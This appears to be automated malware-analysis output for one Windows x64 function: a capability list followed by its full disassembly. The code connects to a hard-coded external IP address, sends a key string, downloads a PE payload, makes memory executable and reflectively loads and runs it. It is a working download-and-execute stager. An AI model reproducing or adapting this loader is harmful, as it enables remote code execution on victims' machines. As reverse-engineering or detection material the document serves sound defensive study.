Function at 0x140001000
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub rsp, 0x258
mov dword [rsp + 0x254], 0
mov dword [rsp + 0x250], r9d
mov qword [rsp + 0x248], r8
mov qword [rsp + 0x240], rdx
mov qword [rsp + 0x238], rcx
mov word [rsp + 0x228], 2
mov ecx, reloc.WS2_32.dll_socket
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x22a], ax
lea rcx, str.83.168.69.197
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x22c], eax
lea rcx, [rsp + 0x90]
xor edx, edx
mov r8d, 0x198
call fcn.14000c620
mov ecx, 0x202
lea rdx, [rsp + 0x90]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x8c], eax
mov ecx, 2
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x80]
lea rdx, [rsp + 0x228]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0
jne 0x140001313
lea rax, str.amgbiznes3303
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x78]
call fcn.14000d060
mov r8d, eax
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov ecx, 0x6acfc0
call fcn.140004650
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], 0
mov rdx, qword [rsp + 0x70]
add rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x80]
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0
jle 0x140001165
mov rax, qword [rsp + 0x68]
add rax, 1
mov qword [rsp + 0x68], rax
jmp 0x140001128
mov dword [rsp + 0x64], 0
lea rcx, section..data
mov edx, 0x1000
mov r8d, 0x40
lea r9, [rsp + 0x64]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov r8d, 0x40
lea r9, [rsp + 0x64]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
add rax, 0x18
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
add rax, 4
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x38]
mov ecx, eax
call fcn.140004650
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x3c], 0
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x38]
mov edx, eax
mov rcx, qword [rsp + 0x40]
mov r8d, 0x40
lea r9, [rsp + 0x3c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x70]
mov r8d, 0x1000
call fcn.14000c9e0
mov rax, qword [rsp + 0x58]
add rax, 0x18
mov rcx, qword [rsp + 0x58]
movzx ecx, word [rcx + 0x14]
add rax, rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x2c], 0
mov eax, dword [rsp + 0x2c]
mov rcx, qword [rsp + 0x48]
movzx ecx, word [rcx + 2]
cmp eax, ecx
je 0x1400012c1
mov rax, qword [rsp + 0x30]
cmp dword [rax + 0x10], 0
je 0x14000129e
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0xc]
add rcx, rax
mov rdx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x14]
add rdx, rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x10]
mov r8d, eax
call fcn.14000c9e0
jmp 0x1400012a3
mov eax, dword [rsp + 0x2c]
add eax, 1
mov dword [rsp + 0x2c], eax
mov rax, qword [rsp + 0x30]
add rax, 0x28
mov qword [rsp + 0x30], rax
jmp 0x14000124a
mov rax, qword [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rax], rcx
mov rax, qword [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x40]
call section..data
mov rcx, qword [rsp + 0x70]
call fcn.140004660
mov rcx, qword [rsp + 0x40]
call fcn.140004660
jmp 0x140001323
mov dword [rsp + 0x254], 0
jmp 0x140001342
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [rsp + 0x254], 1
mov eax, dword [rsp + 0x254]
add rsp, 0x258
ret